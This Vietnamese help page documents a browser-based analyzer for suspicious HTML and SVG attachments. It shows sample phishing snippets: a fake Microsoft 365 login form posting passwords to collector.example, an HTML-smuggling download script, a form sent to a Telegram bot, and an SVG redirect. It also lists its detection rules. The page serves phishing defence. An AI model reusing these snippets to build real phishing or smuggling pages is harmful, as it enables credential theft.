Gỡ bỏ các lớp mã hóa Base64, hex, URL, gzip và deflate cho đến khi chỉ còn lại văn bản có thể đọc được.
Trình phân tích tệp đính kèm HTML
Công cụ này được hiển thị bằng tiếng Anh; trang này giải thích về công cụ đó bằng ngôn ngữ của bạn.
Sử dụng Trình phân tích tệp đính kèm HTML
Chức năng của nó là gì?
Tải lên hoặc dán tệp đính kèm HTML hoặc SVG để xem tệp đó sẽ hoạt động như thế nào nếu được mở: các tệp tải xuống ẩn, các biểu mẫu gửi mật khẩu đến nơi khác, các liên kết chuyển hướng, các điểm cuối rò rỉ dữ liệu và mã được mã hóa. Tệp này được đọc dưới dạng văn bản và không bao giờ được hiển thị hay thực thi.
Ứng dụng này hoạt động hoàn toàn trên trình duyệt của bạn: mọi thông tin bạn nhập vào đều không được tải lên.
Cách sử dụng Trình phân tích tệp đính kèm HTML
- Không được mở tệp này. Lưu tệp đính kèm có định dạng .html, .htm, .shtml, .xhtml hoặc .svg mà không cần mở nó, hoặc sao chép mã nguồn của tệp đó dưới dạng văn bản.
- Tải lên hoặc dán nội dung đó. Kéo thả tệp vào ô hoặc chọn tệp (tối đa 25 MB), hoặc dán mã nguồn (tối đa 5 MB) rồi nhấn “Phân tích” hoặc Ctrl+Enter.
- Đọc bản án. Ô trên cùng hiển thị các thông báo “Rủi ro cao”, “Đáng ngờ” hoặc “Không phát hiện thấy mẫu rủi ro cao”, kèm theo các danh mục phía sau và số lượng kết quả phát hiện, các chỉ số IOC và các blob nhúng.
- Xem xét các kết quả nghiên cứu. Mỗi kết quả hiển thị mức độ nghiêm trọng, loại, số dòng và nguồn tương ứng, với các liên kết và địa chỉ đã được vô hiệu hóa.
- Xuất những gì bạn đã tìm thấy. Sao chép các IOC đã được vô hiệu hóa hoặc ở dạng thô, hoặc sử dụng tính năng “Gửi đến” để chuyển đến Trình chuyển đổi IOC, Trình tạo báo cáo lạm dụng hoặc, đối với blob nhúng, Trình giải mã đa lớp.
Ví dụ
Biểu mẫu đăng nhập có địa chỉ được điền sẵn
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…Rủi ro cao: biểu mẫu đăng nhập gửi mật khẩu đến collector[.]example, tiêu đề ghi “Microsoft 365” ngay bên cạnh trường nhập mật khẩu, và tập lệnh tự động điền địa chỉ email từ phần URL bằng hàm atob. Danh sách IOC chứa URL của máy thu thập dữ liệu và tên miền của nó, đã được vô hiệu hóa.
Nó kiểm tra những gì
| Tín hiệu | Ý nghĩa của điều đó là gì |
|---|---|
| Việc lén lút chèn mã HTML | Giá trị cao khi trang tạo một tệp trong bộ nhớ (Blob bằng hàm createObjectURL hoặc liên kết tải xuống, hoặc hàm msSaveOrOpenBlob) và cung cấp tệp đó dưới dạng liên kết tải xuống. |
| Mẫu đơn | Bất kỳ biểu mẫu nào gửi dữ liệu đến một trang web khác đều được đánh giá cao, và tiêu đề sẽ cho biết khi biểu mẫu đó yêu cầu mật khẩu. Bảng “Forms” liệt kê địa chỉ mà mỗi biểu mẫu gửi dữ liệu đến, phương thức gửi và các trường dữ liệu của biểu mẫu đó. |
| Các điểm cuối bị rò rỉ dữ liệu | Các lệnh gọi API của Telegram Bot, mã thông báo bot, webhook của Discord và các dịch vụ thu thập biểu mẫu như formspree.io hay webhook.site đều được đánh giá cao. |
| Kỹ thuật làm mờ mã | atob, unescape, fromCharCode, các chuỗi ký tự thoát dài và kết quả đầu ra của các công cụ làm mờ mã đã biết. Các chuỗi ký tự được mã hóa nguyên văn sẽ được giải mã mà không cần thực thi chúng. |
| Mã động | eval, hàm tạo Function, document.write và các phép gán innerHTML tạo mã hoặc mã đánh dấu tại thời điểm chạy. |
| Chuyển hướng | Thay đổi địa chỉ trang web, hàm `window.open`, thẻ `meta refresh` và việc đọc phần mảnh URL, nơi các bộ công cụ thường truyền địa chỉ email của nạn nhân. |
| Chống phân tích | Chặn thao tác nhấp chuột phải hoặc phím F12, các lệnh gỡ lỗi, tính năng phát hiện công cụ dành cho nhà phát triển và kiểm tra các trình duyệt tự động. |
| Nội dung nhúng | data: URIs, các chuỗi Base64 hoặc hex dài và loại tệp mà chúng giải mã thành, các iframe ẩn và các tệp SVG chứa mã script. |
| Gợi ý về thương hiệu | Tên thương hiệu trong tiêu đề, biểu tượng hoặc liên kết. Khi xuất hiện bên cạnh trường nhập mật khẩu, mức độ rủi ro được đánh giá là trung bình. |
Các ví dụ khác
Tệp tải xuống được tạo trực tiếp trong trình duyệt
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>Rủi ro cao, nguyên nhân là do “HTML smuggling”: 1 phát hiện mức độ cao (trang web tạo một tệp trong trình duyệt và cung cấp tệp đó dưới dạng tải xuống) và 4 phát hiện mức độ trung bình liên quan đến atob, new Blob, URL.createObjectURL và thuộc tính download. Không có chỉ số IOC.
Mật khẩu được gửi đến một bot Telegram
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>Mức độ rủi ro cao, lý do: Rò rỉ dữ liệu: một tập lệnh gửi dữ liệu từ một trang có trường nhập mật khẩu đến api.telegram.org, cùng với việc phát hiện điểm cuối API của Telegram Bot. Các phát hiện ở mức độ trung bình bao gồm việc truy xuất dữ liệu, trường nhập mật khẩu và biểu mẫu đăng nhập mà không cần thực hiện hành động bên ngoài.
Hình ảnh SVG có chức năng chuyển hướng
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>Rủi ro cao: Tệp SVG chứa mã script, kèm theo một trường hợp chuyển hướng mức độ trung bình và một phát hiện btoa mức độ thấp. Mục tiêu xuất hiện trong phần “Yêu cầu và chuyển hướng” dưới dạng một trang web khác, và URL không gian tên XML không được liệt kê trong các chỉ số IOC.
Câu hỏi thường gặp
Bộ phân tích tìm kiếm những yếu tố nào?
Nó so sánh nguồn dữ liệu với các quy tắc phát hiện hành vi lén lút chèn HTML (Blob, createObjectURL, msSaveOrOpenBlob, liên kết tải xuống, data: URI và các blob Base64 dài), các biểu mẫu và tập lệnh gửi dữ liệu đến các trang web khác, việc rò rỉ dữ liệu qua Telegram và Discord, các chuyển hướng, iframe ẩn, các công cụ làm mờ mã và các thủ thuật chống phân tích. Nó cũng giải mã các hằng số atob, unescape và fromCharCode mà không cần thực thi chúng, đồng thời liệt kê mọi URL, tên miền, địa chỉ IP và địa chỉ email mà nó phát hiện, đã được vô hiệu hóa.
Nó có thể bỏ sót điều gì đó hoặc báo động sai không?
Đúng vậy. Mã được mã hóa hoặc được tạo ra trong thời gian chạy có thể che giấu hành vi của nó khỏi quá trình quét tĩnh, và các trang web thông thường cũng sử dụng các phương thức như `fetch`, `innerHTML` hoặc hình ảnh nhúng; do đó, hãy đọc mã nguồn tương ứng được hiển thị bên cạnh mỗi kết quả phát hiện. Để giải mã và mô phỏng trong môi trường sandbox, hãy sử dụng JS Analyzer.
Tệp này đã được tải lên hay đang được mở?
Không. Tệp này được trình duyệt của bạn đọc dưới dạng văn bản và sẽ không bao giờ được hiển thị, thực thi hay gửi đi đâu cả. Hệ thống chấp nhận các tệp có dung lượng tối đa 25 MB; đối với các tệp có dung lượng rất lớn, hệ thống sẽ quét 4 MB đầu tiên và 1 MB cuối cùng của mã đánh dấu, đồng thời tính các blob nhúng vào tổng dung lượng của toàn bộ tệp.
Tại sao hình ảnh SVG lại được kiểm tra giống như một trang web?
Các tệp SVG là các tệp XML mà trình duyệt mở giống như các trang web, do đó chúng có thể chứa các đoạn mã, liên kết và HTML nhúng. Hình ảnh không cần đoạn mã, vì vậy các đoạn mã bên trong tệp SVG được đánh giá cao.
Blob nhúng là gì?
Các chuỗi Base64 dài, chuỗi hex hoặc mảng byte bên trong tệp. Chúng được giải mã trong bộ nhớ và được gắn nhãn theo loại tệp mà chúng chuyển đổi thành; bạn có thể sao chép một chuỗi hoặc gửi một khối văn bản (text blob) đến Bộ giải mã nhiều lớp.
Các mức độ nghiêm trọng có ý nghĩa gì?
Mức “Cao” đề cập đến các mô hình mà các tệp đính kèm lừa đảo và phần mềm độc hại thường dựa vào, chẳng hạn như việc lén lút đưa dữ liệu ra ngoài, rò rỉ dữ liệu từ các thiết bị đầu cuối hoặc việc gửi biểu mẫu mật khẩu đến nơi khác. Mức “Trung bình” bao gồm các kỹ thuật mà các trang web thông thường cũng sử dụng. Chỉ cần một phát hiện ở mức “Cao” là đủ để đưa ra kết luận “Rủi ro cao”.